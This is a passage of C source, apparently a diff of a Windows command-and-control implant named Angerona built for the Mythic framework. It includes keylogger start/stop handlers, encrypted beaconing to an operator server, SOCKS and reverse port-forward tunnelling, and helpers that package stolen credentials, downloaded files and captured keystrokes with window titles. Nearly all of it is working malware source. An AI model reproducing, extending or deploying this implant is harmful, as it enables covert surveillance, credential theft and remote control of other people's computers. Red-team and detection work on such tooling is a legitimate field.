// Match input_type=None format: [nbArg:4][UUID(36)]
UINT32 nbArg = getInt32(argumentos);
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
_inf("[keylog] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid);
if (!tareaUuid || tamanoUuid != 36) {
_err("[keylog] UUID inválido (len=%zu)", tamanoUuid);
return FALSE;
}
// Ensure UUID is null-terminated
CHAR uuidBuffer[37] = {0};
memcpy(uuidBuffer, tareaUuid, 36);
uuidBuffer[36] = '\0';
tareaUuid = uuidBuffer;
_inf("[keylog] Task UUID: %s", tareaUuid);
memset(g_keylog_task_uuid, 0, sizeof(g_keylog_task_uuid));
memcpy(g_keylog_task_uuid, tareaUuid, 36);
if (g_keylog_running) {
return TRUE;
}
g_keylog_running = TRUE;
g_keylog_thread = CreateThread(NULL, 0, keylog_thread_proc, NULL, 0, NULL);
// Ack
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuesta, g_keylog_task_uuid, FALSE);
PPaquete salida = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salida, FALSE, "[keylog] Started\n");
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
// Report API Call artifact for keylogger
addArtifact(respuesta, "API Call", "Keyboard Hook: GetAsyncKeyState, GetForegroundWindow, GetWindowTextA, GetUserNameA");
Analizador* resp = mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
if (resp) liberarAnalizador(resp);
return TRUE;
}
BOOL StopKeylogger(PAnalizador argumentos) {
_inf("[keylog] ===== StopKeylogger called =====");
// Match input_type=None format: [nbArg:4][UUID(36)]
UINT32 nbArg = getInt32(argumentos);
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
_inf("[keylog] nbArg=%u, tamanoUuid=%zu", nbArg, tamanoUuid);
if (tareaUuid && tamanoUuid == 36) {
// Ensure UUID is null-terminated
CHAR uuidBuffer[37] = {0};
memcpy(uuidBuffer, tareaUuid, 36);
uuidBuffer[36] = '\0';
tareaUuid = uuidBuffer;
_inf("[keylog] Task UUID: %s", tareaUuid);
memset(g_keylog_task_uuid, 0, sizeof(g_keylog_task_uuid));
memcpy(g_keylog_task_uuid, tareaUuid, 36);
} else {
_wrn("[keylog] UUID inválido o vacío, usando UUID guardado");
}
if (g_keylog_running) {
g_keylog_running = FALSE;
if (g_keylog_thread) {
WaitForSingleObject(g_keylog_thread, 2000);
CloseHandle(g_keylog_thread);
g_keylog_thread = NULL;
}
}
// Ack
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuesta, g_keylog_task_uuid[0] ? g_keylog_task_uuid : "", FALSE);
PPaquete salida = nuevoPaquete(0, FALSE);
PackageAddFormatPrintf(salida, FALSE, "[keylog] Stopped\n");
addBytes(respuesta, (PBYTE)salida->buffer, salida->length, TRUE);
Analizador* resp = mandarPaquete(respuesta);
liberarPaquete(salida);
liberarPaquete(respuesta);
if (resp) liberarAnalizador(resp);
return TRUE;
}
@@ -0,0 +1,11 @@
#pragma once
#ifndef KEYLOG_H
#define KEYLOG_H
#include <windows.h>
#include "analizador.h"
BOOL StartKeylogger(PAnalizador argumentos);
BOOL StopKeylogger(PAnalizador argumentos);
#endif
@@ -0,0 +1,14 @@
#include "angerona.h"
int main() {
_inf("=== ANGERONA AGENT STARTING ===");
#ifdef AESPSK
_inf("AESPSK: %s", AESPSK);
#endif
Sleep(2000); // Pausa 2 segundos para ver si inicia
angeronaMain();
_inf("=== ANGERONA AGENT EXITING ===");
_inf("Press any key to exit...");
getchar();
return 0;
}
@@ -0,0 +1,943 @@
#include "crypto.h" // Include crypto.h BEFORE angerona.h to avoid redeclaration
#include "angerona.h"
#include "paquete.h"
#include "socks_manager.h"
#include "rpfwd_manager.h"
// Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
_dbg("nuevoPaquete(idComando=0x%02X, init=%d)", idComando, init);
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
if (!paquete) {
_err("Error: fallo al asignar memoria para Paquete\n");
return NULL;
}
paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE));
if (!paquete->buffer) {
return NULL;
}
paquete->length = 0;
if (init) {
addString(paquete, angeronaConfig->idAgente, FALSE);
addByte(paquete, idComando);
}
return paquete;
}
VOID liberarPaquete(PPaquete paquete) {
_dbg("liberarPaquete()");
LocalFree(paquete->buffer);
LocalFree(paquete);
}
/* Callback C para volcar mensajes SOCKS al paquete */
static void flush_socks_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, void *ctx) {
PPaquete pkt = (PPaquete)ctx;
_dbg("flush_socks_cb: sid=%u exit=%d len=%zu", server_id, exit_flag, data_len);
addInt32(pkt, server_id);
addByte(pkt, (BYTE)(exit_flag ? 1 : 0));
if (data_len && data) {
char *b64 = b64Codificado(data, (SIZE_T)data_len);
SIZE_T b64len = b64 ? strlen(b64) : 0;
addInt32(pkt, (UINT32)b64len);
if (b64len) addBytes(pkt, (PBYTE)b64, b64len, FALSE);
if (b64) LocalFree(b64);
} else {
addInt32(pkt, 0);
}
_dbg("flush_socks_cb completed");
}
/* Callback C para volcar mensajes RPFWD al paquete */
static void flush_rpfwd_cb(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, uint32_t port, void *ctx) {
PPaquete pkt = (PPaquete)ctx;
_dbg("flush_rpfwd_cb: sid=%u exit=%d len=%zu port=%u", server_id, exit_flag, data_len, port);
addInt32(pkt, server_id);
addByte(pkt, (BYTE)(exit_flag ? 1 : 0));
if (data_len && data) {
char *b64 = b64Codificado(data, (SIZE_T)data_len);
SIZE_T b64len = b64 ? strlen(b64) : 0;
addInt32(pkt, (UINT32)b64len);
if (b64len) addBytes(pkt, (PBYTE)b64, b64len, FALSE);
if (b64) LocalFree(b64);
} else {
addInt32(pkt, 0);
}
// Add port (optional, but needed if multiple RPFWD ports are supported)
addInt32(pkt, port);
_dbg("flush_rpfwd_cb completed");
}
/* === Nueva función: inserta tráfico SOCKS pendiente === */
static VOID flushSocksTraffic(PPaquete paquete) {
_dbg("flushSocksTraffic()");
/* Emit marker and number of SOCKS messages if there are any; we buffer to temp first */
PPaquete temp = nuevoPaquete(0, FALSE);
if (!temp) {
_err("nuevoPaquete temp failed");
return;
}
_dbg("temp paquete created");
socks_manager_flush_outgoing(flush_socks_cb, (void*)temp);
_dbg("socks_manager_flush_outgoing done, temp->length=%zu", temp->length);
if (temp->length > 0) {
_dbg("Adding SOCKS block marker");
/* Frame: 0xF5 | [Int32 total_len] | [temp bytes] */
addByte(paquete, (BYTE)SOCKS_BLOCK_MARKER);
addInt32(paquete, (UINT32)temp->length);
addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE);
}
liberarPaquete(temp);
_dbg("flushSocksTraffic() completed");
}
/* === Nueva función: inserta tráfico RPFWD pendiente === */
static VOID flushRpfwdTraffic(PPaquete paquete) {
_dbg("flushRpfwdTraffic()");
/* Emit marker and number of RPFWD messages if there are any; we buffer to temp first */
PPaquete temp = nuevoPaquete(0, FALSE);
if (!temp) {
_err("nuevoPaquete temp failed");
return;
}
_dbg("temp paquete created");
rpfwd_manager_flush_outgoing(flush_rpfwd_cb, (void*)temp);
_dbg("rpfwd_manager_flush_outgoing done, temp->length=%zu", temp->length);
if (temp->length > 0) {
_dbg("Adding RPFWD block marker");
/* Frame: 0xF2 | [Int32 total_len] | [temp bytes] */
addByte(paquete, (BYTE)RPFWD_BLOCK_MARKER);
addInt32(paquete, (UINT32)temp->length);
addBytes(paquete, (PBYTE)temp->buffer, temp->length, FALSE);
}
liberarPaquete(temp);
_dbg("flushRpfwdTraffic() completed");
}
/* === Enviar paquete con soporte SOCKS === */
PAnalizador mandarPaquete(PPaquete paquete) {
_inf("=== mandarPaquete INICIO === len=%zu", paquete->length);
if (!paquete) {
_err("mandarPaquete: paquete es NULL");
return NULL;
}
if (!paquete->buffer) {
_err("mandarPaquete: paquete->buffer es NULL");
return NULL;
}
_dbg("mandarPaquete() len=%zu", paquete->length);
// Solo añadir tráfico SOCKS si el proxy está activo
if (socks_proxy_active) {
_dbg("SOCKS activo, flushSocksTraffic()");
flushSocksTraffic(paquete);
} else {
_dbg("SOCKS inactivo, saltando flushSocksTraffic()");
}
// Solo añadir tráfico RPFWD si está activo
if (rpfwd_active) {
_dbg("RPFWD activo, flushRpfwdTraffic()");
flushRpfwdTraffic(paquete);
} else {
_dbg("RPFWD inactivo, saltando flushRpfwdTraffic()");
}
// === Handle encryption according to Mythic format ===
// Format with encryption: Base64(PayloadUUID + AES256(rest_of_data))
// Format without encryption: Base64(full_packet)
PBYTE datosAEnviar = NULL;
SIZE_T tamanoAEnviar = 0;
if (crypto_is_encryption_enabled()) {
_inf("Cifrado habilitado, formato: Base64(UUID + AES256(data))");
// Extract UUID - UUID is always 36 characters (UUIDv4 format)
// Format: [UUID(36)][command_byte][rest...]
// When addString is called with tamanoCopia=FALSE, no length prefix is added
const SIZE_T UUID_LENGTH = 36;
if (paquete->length < UUID_LENGTH + 1) {
_err("Paquete demasiado corto para extraer UUID (length=%zu, need at least %zu)",
paquete->length, UUID_LENGTH + 1);
return NULL;
}
// Extract UUID string (first 36 bytes)
PCHAR uuidStr = (PCHAR)paquete->buffer;
SIZE_T dataOffset = UUID_LENGTH; // After UUID, before/at command byte
SIZE_T dataLength = paquete->length - UUID_LENGTH;
// Log UUID extraction with detailed info
char uuidBuf[37] = {0};
memcpy(uuidBuf, uuidStr, UUID_LENGTH);
_dbg("=== EXTRACTING UUID ===");
_dbg("Tamaño total del paquete: %zu bytes", paquete->length);
_dbg("UUID extraído: %s (length: %zu)", uuidBuf, UUID_LENGTH);
_dbg("Data offset (after UUID): %zu", dataOffset);
_dbg("Datos a cifrar: %zu bytes", dataLength);
// Create a temporary package with only the data part (without UUID)
PPaquete dataPackage = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
if (!dataPackage) {
_err("Failed to allocate data package");
return NULL;
}
dataPackage->buffer = LocalAlloc(LPTR, dataLength);
if (!dataPackage->buffer) {
LocalFree(dataPackage);
_err("Failed to allocate data buffer");
return NULL;
}
memcpy(dataPackage->buffer, (PBYTE)paquete->buffer + dataOffset, dataLength);
dataPackage->length = dataLength;
// Encrypt only the data part (without UUID)
_inf("=== STARTING ENCRYPTION ===");
_dbg("Calling CryptoMythicEncryptPackage() with %zu bytes...", dataPackage->length);
if (!CryptoMythicEncryptPackage(dataPackage)) {
_err("Falló el cifrado");
LocalFree(dataPackage->buffer);
LocalFree(dataPackage);
return NULL;
}
_inf("=== ENCRYPTION COMPLETE ===");
// Concatenate UUID + encrypted data
SIZE_T finalSize = UUID_LENGTH + dataPackage->length;
PBYTE finalBuffer = (PBYTE)LocalAlloc(LPTR, finalSize);
if (!finalBuffer) {
LocalFree(dataPackage->buffer);
LocalFree(dataPackage);
_err("Failed to allocate final buffer");
return NULL;
}
memcpy(finalBuffer, uuidStr, UUID_LENGTH);
memcpy(finalBuffer + UUID_LENGTH, dataPackage->buffer, dataPackage->length);
datosAEnviar = finalBuffer;
tamanoAEnviar = finalSize;
// Cleanup temporary package
LocalFree(dataPackage->buffer);
LocalFree(dataPackage);
} else {
_inf("Cifrado deshabilitado, enviando plaintext completo");
datosAEnviar = (PBYTE)paquete->buffer;
tamanoAEnviar = paquete->length;
}
// Codificar en base64
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)datosAEnviar, tamanoAEnviar);
SIZE_T tamanoDelPaquete = b64tamanoCodificado(tamanoAEnviar);
if (!paqueteParaMandar) {
_err("b64Codificado returned NULL");
if (crypto_is_encryption_enabled() && datosAEnviar != paquete->buffer) {
LocalFree(datosAEnviar);
}
return NULL;
}
_inf("=== READY TO SEND ===");
_dbg("Enviando paquete base64 de %zu bytes", tamanoDelPaquete);
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
LocalFree(paqueteParaMandar);
// Free the encrypted buffer if we allocated it
if (crypto_is_encryption_enabled() && datosAEnviar != paquete->buffer) {
LocalFree(datosAEnviar);
}
if (!respuesta) {
_err("mandarPaquete: respuesta NULL después de mandarYRecibir");
return NULL;
}
_inf("mandarPaquete: respuesta recibida exitosamente (tamano=%zu)", respuesta->tamano);
_dbg("respuesta OK");
// === Decodificar base64 de la respuesta ===
// When mythic_encrypts=True and crypto_type=aes256_hmac, the translator encrypts
// the response, but the agent still receives it base64-encoded from HTTP.
// The agent will handle decryption AFTER base64 decode if needed.
if (respuesta && respuesta->original && respuesta->tamano > 0) {
_dbg("Decodificando base64 de %zu bytes...", respuesta->tamano);
PBYTE datosDecodificados = NULL;
SIZE_T tamanoDecodificado = 0;
// Convertir a string null-terminated para decodificar
PCHAR base64str = LocalAlloc(LPTR, respuesta->tamano + 1);
if (base64str) {
memcpy(base64str, respuesta->original, respuesta->tamano);
base64str[respuesta->tamano] = '\0';
// Decodificar
if (base64_decode(base64str, &datosDecodificados, &tamanoDecodificado)) {
_dbg("Base64 decodificado: %zu bytes", tamanoDecodificado);
// === Decrypt if encryption is enabled ===
if (crypto_is_encryption_enabled()) {
_inf("=== DECRYPTING RESPONSE ===");
_dbg("Base64 decoded size: %zu bytes", tamanoDecodificado);
// Log raw data before decryption
_dbg("Raw response before decryption (hex, first 80 bytes): ");
for (size_t i = 0; i < (tamanoDecodificado > 80 ? 80 : tamanoDecodificado); i++) {
_dbg(" %02x ", datosDecodificados[i]);
if ((i + 1) % 32 == 0) _dbg("\n");
}
// Check if response starts with UUID (which would mean it's in format UUID + encrypted_data)
if (tamanoDecodificado >= 36) {
char uuidCheck[37] = {0};
memcpy(uuidCheck, datosDecodificados, 36);
_dbg("First 36 bytes (UUID check): %s", uuidCheck);
_dbg("Expected UUID: %s", angeronaConfig->idAgente);
// If response starts with UUID, we need to extract it
if (strncmp(uuidCheck, angeronaConfig->idAgente, 36) == 0) {
_dbg("Response format: UUID + encrypted_data detected");
_dbg("Extracting encrypted data (after UUID)...");
// Extract encrypted data (without UUID)
SIZE_T encrypted_size = tamanoDecodificado - 36;
PBYTE encrypted_data = (PBYTE)LocalAlloc(LPTR, encrypted_size);
if (encrypted_data) {
memcpy(encrypted_data, datosDecodificados + 36, encrypted_size);
_dbg("Encrypted data size (without UUID): %zu bytes", encrypted_size);
// Create parser with just the encrypted data
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
if (tempParser) {
tempParser->buffer = encrypted_data;
tempParser->tamano = encrypted_size;
if (CryptoMythicDecryptParser(tempParser)) {
_inf("=== DECRYPTION SUCCESS ===");
_dbg("Decrypted size: %zu bytes", tempParser->tamano);
// Create final buffer with UUID + decrypted data
SIZE_T final_size = 36 + tempParser->tamano;
PBYTE final_buffer = (PBYTE)LocalAlloc(LPTR, final_size);
if (final_buffer) {
memcpy(final_buffer, datosDecodificados, 36); // UUID
memcpy(final_buffer + 36, tempParser->buffer, tempParser->tamano); // Decrypted data
LocalFree(datosDecodificados);
datosDecodificados = final_buffer;
tamanoDecodificado = final_size;
_dbg("Final response (UUID + decrypted): %zu bytes", final_size);
}
} else {
_err("Falló el descifrado");
}
LocalFree(tempParser);
} else {
LocalFree(encrypted_data);
}
}
} else {
// Response doesn't start with UUID, try decrypting directly
_dbg("Response doesn't start with UUID, trying direct decryption...");
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
if (tempParser) {
tempParser->buffer = datosDecodificados;
tempParser->tamano = tamanoDecodificado;
if (CryptoMythicDecryptParser(tempParser)) {
_inf("=== DECRYPTION SUCCESS (no UUID in response) ===");
_dbg("Decrypted size: %zu bytes", tempParser->tamano);
datosDecodificados = tempParser->buffer;
tamanoDecodificado = tempParser->tamano;
} else {
_err("Falló el descifrado");
}
LocalFree(tempParser);
}
}
} else {
_wrn("Response too short (%zu bytes), cannot check UUID", tamanoDecodificado);
// Try decrypting anyway
PAnalizador tempParser = LocalAlloc(LPTR, sizeof(Analizador));
if (tempParser) {
tempParser->buffer = datosDecodificados;
tempParser->tamano = tamanoDecodificado;
if (CryptoMythicDecryptParser(tempParser)) {
_dbg("Decryption succeeded for short response");
datosDecodificados = tempParser->buffer;
tamanoDecodificado = tempParser->tamano;
} else {
_err("Falló el descifrado");
}
LocalFree(tempParser);
}
}
}
// Reemplazar el buffer del analizador
LocalFree(respuesta->original);
respuesta->original = datosDecodificados;
respuesta->buffer = datosDecodificados;
respuesta->tamano = tamanoDecodificado;
// AHORA parsear bloque SOCKS en los datos DECODIFICADOS
if (respuesta->tamano >= 5) {
PBYTE buf = respuesta->original;
SIZE_T len = respuesta->tamano;
SIZE_T cursor = len - 5;
BOOL found = FALSE;
_dbg("Buscando bloque SOCKS (marker 0xF5) en %zu bytes decodificados", len);
// Buscar marcador desde el final
while (cursor > 0 && cursor < len - 4) {
if (buf[cursor] == (BYTE)SOCKS_BLOCK_MARKER) {
_dbg("¡Marcador 0xF5 encontrado en offset %zu!", cursor);
UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
_dbg("Bloque SOCKS: ext_len=%u", ext_len);
if (cursor + 5 + ext_len > len) {
_err("bloque SOCKS truncado");
break;
}
SIZE_T ecur = cursor + 5;
SIZE_T eend = cursor + 5 + ext_len;
while (ecur + 9 <= eend) {
UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3];
BYTE exitf = buf[ecur+4];
UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8];
ecur += 9;
if (ecur + b64len > eend) break;
unsigned char *raw = NULL;
size_t raw_len = 0;
char *b64str_socks = NULL;
if (b64len > 0) {
b64str_socks = (char*)LocalAlloc(LPTR, b64len + 1);
if (b64str_socks) {
memcpy(b64str_socks, buf + ecur, b64len);
b64str_socks[b64len] = '\0';
_dbg("Decodificando base64 SOCKS: %s", b64str_socks);
base64_decode(b64str_socks, &raw, &raw_len);
_dbg("Base64 SOCKS decodificado: %zu bytes", raw_len);
LocalFree(b64str_socks);
}
}
_dbg("Procesando SOCKS incoming: sid=%u exit=%u len=%zu", sid, exitf, raw_len);
socks_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len);
if (raw) LocalFree(raw);
ecur += b64len;
}
// Remover bloque SOCKS del analizador
respuesta->tamano = cursor;
_dbg("Bloque SOCKS procesado, tamaño ajustado a %zu", cursor);
found = TRUE;
break;
}
cursor--;
}
if (!found) {
_dbg("No se encontró bloque SOCKS");
}
// Buscar bloque RPFWD (similar a SOCKS pero con puerto)
cursor = len - 5;
found = FALSE;
_dbg("Buscando bloque RPFWD (marker 0xF2) en %zu bytes decodificados", len);
while (cursor > 0 && cursor < len - 4) {
if (buf[cursor] == (BYTE)RPFWD_BLOCK_MARKER) {
_dbg("¡Marcador 0xF2 (RPFWD) encontrado en offset %zu!", cursor);
UINT32 ext_len = (buf[cursor+1] << 24) | (buf[cursor+2] << 16) | (buf[cursor+3] << 8) | buf[cursor+4];
_dbg("Bloque RPFWD: ext_len=%u", ext_len);
if (cursor + 5 + ext_len > len) {
_err("bloque RPFWD truncado");
break;
}
SIZE_T ecur = cursor + 5;
SIZE_T eend = cursor + 5 + ext_len;
while (ecur + 13 <= eend) { // 4 (sid) + 1 (exit) + 4 (b64len) + 4 (port) = 13
UINT32 sid = (buf[ecur] << 24) | (buf[ecur+1] << 16) | (buf[ecur+2] << 8) | buf[ecur+3];
BYTE exitf = buf[ecur+4];
UINT32 b64len = (buf[ecur+5] << 24) | (buf[ecur+6] << 16) | (buf[ecur+7] << 8) | buf[ecur+8];
UINT32 port = (buf[ecur+9] << 24) | (buf[ecur+10] << 16) | (buf[ecur+11] << 8) | buf[ecur+12];
ecur += 13;
if (ecur + b64len > eend) break;
unsigned char *raw = NULL;
size_t raw_len = 0;
char *b64str_rpfwd = NULL;
if (b64len > 0) {
b64str_rpfwd = (char*)LocalAlloc(LPTR, b64len + 1);
if (b64str_rpfwd) {
memcpy(b64str_rpfwd, buf + ecur, b64len);
b64str_rpfwd[b64len] = '\0';
_dbg("Decodificando base64 RPFWD: %s", b64str_rpfwd);
base64_decode(b64str_rpfwd, &raw, &raw_len);
_dbg("Base64 RPFWD decodificado: %zu bytes", raw_len);
LocalFree(b64str_rpfwd);
}
}
_dbg("Procesando RPFWD incoming: sid=%u exit=%u len=%zu port=%u", sid, exitf, raw_len, port);
rpfwd_manager_process_incoming(sid, exitf ? 1 : 0, raw, raw_len, port);
if (raw) LocalFree(raw);
ecur += b64len;
}
// Remover bloque RPFWD del analizador
respuesta->tamano = cursor;
_dbg("Bloque RPFWD procesado, tamaño ajustado a %zu", cursor);
found = TRUE;
break;
}
cursor--;
}
if (!found) {
_dbg("No se encontró bloque RPFWD");
}
}
} else {
_err("fallo al decodificar base64");
}
LocalFree(base64str);
}
}
return respuesta;
}
/* === Funciones auxiliares === */
BOOL addByte(PPaquete paquete, BYTE byte) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
if (!paquete->buffer) {
return FALSE;
}
((PBYTE)paquete->buffer + paquete->length)[0] = byte;
paquete->length += 1;
return TRUE;
}
BOOL addInt32(PPaquete paquete, UINT32 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
paquete->length += sizeof(UINT32);
return TRUE;
}
BOOL addInt64(PPaquete paquete, UINT64 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
// Write at the end of the buffer (paquete->length offset)
addInt64ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
paquete->length += sizeof(UINT64);
return TRUE;
}
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
if (tamanoCopia && tamano) {
if (!addInt32(paquete, tamano)) {
return FALSE;
}
}
if (tamano) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
paquete->length += tamano;
}
return TRUE;
}
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
return FALSE;
}
return TRUE;
}
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) {
return FALSE;
}
return TRUE;
}
BOOL PackageAddFormatPrintf(PPaquete package, BOOL copySize, char* fmt, ...) {
va_list args;
va_start(args, fmt);
int requiredLength = vsnprintf(NULL, 0, fmt, args) + 1;
va_end(args);
char* tempBuffer = (char*)malloc(requiredLength);
if (!tempBuffer) return FALSE;
va_start(args, fmt);
vsnprintf(tempBuffer, requiredLength, fmt, args);
va_end(args);
if (!addString(package, tempBuffer, copySize)) {
free(tempBuffer);
return FALSE;
}
free(tempBuffer);
return TRUE;
}
// Sends SUCCESS post_response to server for individual task (similar to Xenon's PackageComplete)
VOID paqueteCompletado(PCHAR taskUuid, PPaquete datosOpcionales) {
// Initialize post_response package
PPaquete respuesta = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuesta, taskUuid, FALSE);
if (datosOpcionales != NULL && datosOpcionales->buffer != NULL && datosOpcionales->length > 0) {
// Use data from package
addBytes(respuesta, (PBYTE)datosOpcionales->buffer, datosOpcionales->length, TRUE);
} else {
// If no data, add empty output
addInt32(respuesta, 0);
}
// Success response - add TASK_COMPLETE byte
addByte(respuesta, TASK_COMPLETE);
// Send
Analizador* resp = mandarPaquete(respuesta);
// Cleanup
liberarPaquete(respuesta);
if (resp) liberarAnalizador(resp);
}
// Helper function to add artifacts to response packages
// Format: [0xFF marker][artifact_type_len:4][artifact_type][artifact_value_len:4][artifact_value]
VOID addArtifact(PPaquete paquete, PCHAR artifact_type, PCHAR artifact_value) {
if (!paquete || !artifact_type || !artifact_value) {
return;
}
// Artifact marker
addByte(paquete, 0xFF);
// Artifact type length and value
SIZE_T type_len = strlen(artifact_type);
addInt32(paquete, (UINT32)type_len);
addString(paquete, artifact_type, FALSE);
// Artifact value length and value
SIZE_T value_len = strlen(artifact_value);
addInt32(paquete, (UINT32)value_len);
addString(paquete, artifact_value, FALSE);
}
// Helper function to add credentials to response packages
// Format: [0xFE marker][credential_type_len:4][credential_type][realm_len:4][realm][credential_len:4][credential][account_len:4][account]
// credential_type must be one of: plaintext, certificate, hash, key, ticket, cookie
VOID addCredential(PPaquete paquete, PCHAR credential_type, PCHAR realm, PCHAR credential, PCHAR account) {
if (!paquete || !credential_type || !credential || !account) {
return;
}
// Credential marker (0xFE, different from artifact marker 0xFF)
addByte(paquete, 0xFE);
// Credential type length and value
SIZE_T type_len = strlen(credential_type);
addInt32(paquete, (UINT32)type_len);
addString(paquete, credential_type, FALSE);
// Realm (can be empty string, but must be included)
// Handle NULL realm parameter by using empty string
PCHAR realmToAdd = (realm && realm[0] != '\0') ? realm : "";
SIZE_T realm_len = strlen(realmToAdd);
addInt32(paquete, (UINT32)realm_len);
if (realm_len > 0) {
addString(paquete, realmToAdd, FALSE);
}
// Credential length and value
SIZE_T cred_len = strlen(credential);
addInt32(paquete, (UINT32)cred_len);
addString(paquete, credential, FALSE);
// Account length and value
SIZE_T account_len = strlen(account);
addInt32(paquete, (UINT32)account_len);
addString(paquete, account, FALSE);
}
/* Download registration: adds download registration marker and data to response package */
/* Format: [0xFD marker][action:1=0][full_path_len:4][full_path][total_chunks:4][chunk_size:4] */
VOID addDownloadRegistration(PPaquete paquete, PCHAR full_path, UINT32 total_chunks, UINT32 chunk_size) {
if (!paquete || !full_path) {
return;
}
// Download registration marker (0xFD)
addByte(paquete, 0xFD);
// Action: 0 = registration
addByte(paquete, 0);
// Full path length and value
SIZE_T path_len = strlen(full_path);
addInt32(paquete, (UINT32)path_len);
addString(paquete, full_path, FALSE);
// Total chunks (can be -1 if unknown)
addInt32(paquete, total_chunks);
// Chunk size
addInt32(paquete, chunk_size);
}
/* Download chunk: adds download chunk marker and data to response package */
/* Format: [0xFC marker][action:1=1][file_id_len:4][file_id][chunk_num:4][chunk_data_len:4][chunk_data_base64] */
VOID addDownloadChunk(PPaquete paquete, PCHAR file_id, UINT32 chunk_num, PBYTE chunk_data, SIZE_T chunk_data_len) {
if (!paquete || !file_id || !chunk_data || chunk_data_len == 0) {
return;
}
// Download chunk marker (0xFC)
addByte(paquete, 0xFC);
// Action: 1 = chunk
addByte(paquete, 1);
// File ID length and value
SIZE_T file_id_len = strlen(file_id);
addInt32(paquete, (UINT32)file_id_len);
addString(paquete, file_id, FALSE);
// Chunk number (1-based)
addInt32(paquete, chunk_num);
// Encode chunk data to base64
char* chunk_data_b64 = b64Codificado(chunk_data, chunk_data_len);
if (!chunk_data_b64) {
_err("[download] Error encoding chunk data to base64\n");
return;
}
SIZE_T chunk_b64_len = strlen(chunk_data_b64);
addInt32(paquete, (UINT32)chunk_b64_len);
addString(paquete, chunk_data_b64, FALSE);
LocalFree(chunk_data_b64);
}
VOID addUploadRequest(PPaquete paquete, PCHAR file_id, UINT32 chunk_size, UINT32 chunk_num, PCHAR full_path) {
if (!paquete || !file_id) {
return;
}
// Upload request marker (0xF8)
addByte(paquete, 0xF8);
// File ID length and value
SIZE_T file_id_len = strlen(file_id);
addInt32(paquete, (UINT32)file_id_len);
addString(paquete, file_id, FALSE);
// Chunk size
addInt32(paquete, chunk_size);
// Chunk number (1-based)
addInt32(paquete, chunk_num);
// Full path length and value (optional, can be empty string)
if (!full_path) {
full_path = "";
}
SIZE_T path_len = strlen(full_path);
addInt32(paquete, (UINT32)path_len);
if (path_len > 0) {
addString(paquete, full_path, FALSE);
}
}
/* Commands helper: for reporting command add/remove to Mythic */
/* Format: [0xF7 marker][action_len:4][action][cmd_len:4][cmd] */
/* action must be "add" or "remove", cmd is the command name */
VOID addCommand(PPaquete paquete, PCHAR action, PCHAR cmd) {
if (!paquete || !action || !cmd) {
return;
}
// Commands marker (0xF7)
addByte(paquete, 0xF7);
// Action length and value ("add" or "remove")
SIZE_T action_len = strlen(action);
addInt32(paquete, (UINT32)action_len);
addString(paquete, action, FALSE);
// Command name length and value
SIZE_T cmd_len = strlen(cmd);
addInt32(paquete, (UINT32)cmd_len);
addString(paquete, cmd, FALSE);
}
// Helper function to add keylog entries to response packages
// Format: [0xF6 marker][user_len:4][user][title_len:4][title][keys_len:4][keystrokes]
VOID addKeylog(PPaquete paquete, PCHAR user, PCHAR window_title, PCHAR keystrokes) {
if (!paquete || !user || !window_title || !keystrokes) {
return;
}
addByte(paquete, 0xF6);
SIZE_T user_len = strlen(user);
addInt32(paquete, (UINT32)user_len);
addString(paquete, user, FALSE);
SIZE_T title_len = strlen(window_title);
addInt32(paquete, (UINT32)title_len);
addString(paquete, window_title, FALSE);
SIZE_T keys_len = strlen(keystrokes);
addInt32(paquete, (UINT32)keys_len);
addString(paquete, keystrokes, FALSE);
}
// Helper function to add token to response packages
